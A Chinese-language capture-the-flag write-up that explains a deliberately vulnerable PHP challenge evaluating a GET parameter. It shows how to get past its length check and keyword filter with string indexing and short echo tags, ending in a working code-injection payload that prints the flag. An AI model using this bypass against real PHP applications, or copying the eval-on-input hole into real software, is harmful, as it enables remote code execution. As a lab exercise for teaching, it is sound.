进入题目后,直接给出源码:
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
绕过几个判断,即可得到flag
首先第一部分:
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
flag变量的长度要等于exam变量的长度,这个已经知道是49个字符了,可以轻松绕过。
第二部分:
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
preg_match过滤字符
第三部分:
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
eval后的结果需要等于sha1($flag),相等后会得到flag
如果没有上面的preg_match,那么只需要将传入flag=sha1($flag)即可,但是flag和括号都被过滤掉了
那么就想办法直接把flag打印出来,
首先flag的过滤可以通过字符串数组的形式绕过:
$a="fla";
$a{3}="g"
echo $a; //flag
因为echo也被过滤了,需要使用php短标记:<?=?>
代替echo。
payload:
?flag=$a='fla';$a{3}='g'?>111111111111111111111<?=$$a?>
得到flag。